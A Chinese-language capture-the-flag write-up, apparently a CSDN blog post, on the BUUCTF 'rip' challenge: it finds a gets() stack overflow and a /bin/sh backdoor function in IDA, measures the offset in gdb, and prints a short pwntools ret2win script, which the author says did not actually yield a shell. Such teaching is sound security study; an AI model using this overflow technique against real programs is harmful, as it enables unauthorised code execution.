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BUUCTF rip

程序分析

国际惯例checksec一下

什么保护都没开，那么就有n多种方式来getshell，但是我们追求最简单的方法。
程序是64位的，我们用ida64打开，F5查看程序运行流程

可以一个gets函数，一个很明显的漏洞点，可以直接溢出，然后我们看一下程序里面有哪些字符串

https://blog.csdn.net/qq_36995313
https://so.csdn.net/so/search/s.do?q=linux&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_36995313/article/details/120688113


这里有一个/bin/sh字符串，一看就知道不简单

双击字符串，可以看到/bin/sh在程序内存中的存放位置

然后右键->Xrefs graph to可以看到是哪个函数使用了这个字符串



可以看到是一个名为fun的函数使用了这个字符串，然后我们在右侧找到这个函数双击并F5，发现这是一个后门。

涉及到的知识

在c语言中我们了解到，在函数中定义的零时变量都是保存在栈中的，而当函数A调用函数B时，A会提前把下一个要执行的函数
C的地址保存在栈中，保存C地址的位置就是B函数开辟的栈空间的临近位置，如果我们不停的向B的栈空间中填充数据，当数据
填充满后再继续填入数据就会导致栈溢出。

详细过程见CTF-wiki 栈介绍，阅读的时候一定要细心，可以找个本子边画边记，有任何不懂的地方都可以在群里问，保证讲
懂。

编写exp

查看偏移

查看偏移有两种方法，一是使用ida查看，但是有时候可能会不准确。二是使用gdb动态调试查看，准确但是比较麻烦。

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/


在IDA中，浅蓝色的都是在栈中的变量，深蓝色的都是全局变量，存储在程序的数据区，然后我们双击一下s，就会跳转到main
函数的栈空间

虽然IDA里面显示的地址是向上增长的，实际上是倒过来的，s应该在栈内存中的靠低地址位置，r则在高地址处，但是细心的同
学可能也会发现，上面的是减号，下面的是加号。理解栈的原理是pwn中很基础也是很重要的。我们需要关注的是红圈里的东
西，上面是局部变量s，它旁边的数字就是它的偏移，然后下面的两个红圈分别是栈结束的位置和RBP栈基址寄存器所指向的

位置，看过上面栈介绍的同学应该就知道它是上一个函数的栈顶所指向的位置。

然后我们在终端中输入gdb./pwn1调试一下，由于程序没有开启地址随机化，我们直接在IDA伪代码中gets的那一行俺Tab就能

跳转到对应的汇编代码并查看地址

然后gdb中输入b *0x401162就能下断点（如果对地址下断点必须要在地址前加 *号）



然后按r并回车，程序就能运行到我们的断点处了

可以看到RBP栈基址寄存器指向的地址，由于之前的函数并没有使用栈或者以及把栈的信息给清除了，这里地址处的值就是0，
没有显示了，他的下面就是函数的返回地址了。

现在我们再下一个断点在gets函数运行完后的0x401167处，然后输入c并回车使得程序继续运行，输入0xf个a（对应偏移），8

个b，8个c（aaaaaaaaaaaaaaabbbbbbbbcccccccc）然后回车，观察栈中的情况。



对照没有输入之前的栈中的数据，可以发现RBP起始的位置刚好被8个b覆盖（会显示c是因为b与c之前没有阶段，直接按照字符
串输出了），而返回地址的位置刚好被8个c覆盖了，说说明偏移是正确的，继续运行一下，可以看到程序会返回到
0x6363636636（字符‘c’的ASC编码）处执行，但是那个地方并没有代码可以继续执行，程序就这样奔溃了。
试想一下，把cccccccc换为之前提到的后门的地址，那么不就可以getshell了吗。

编写payload

from pwn import *

context.log_level = "debug"

p = process("./pwn1")
#p = remote("node4.buuoj.cn",27551)
p.recvuntil("please input\n") #注意这里要加\n,因为puts输出的字符串自带换行符

            #偏移填充       RBP填充        后门的返回地址   
payload = b'a' *(0xf) + p64(0xdeadbeef) + p64(0x401186)
gdb.attach(p) #在这里附加调试器
p.sendline(payload)

p.interactive()



动态调试查看：

附加的调试器刚刚打开时是这样的：

这些看起来地址很高的代码其实一些我们调用的系统的函数的代码，而不是程序自己的代码，现在是read的代码，可以输入
finish命令并回车，然后重复几次知道达到main函数代码

查看栈中，返回地址以及被替换成了后门函数的地址，继续运行就能拿到shell了（但是我并没有拿到）,远程也打不通
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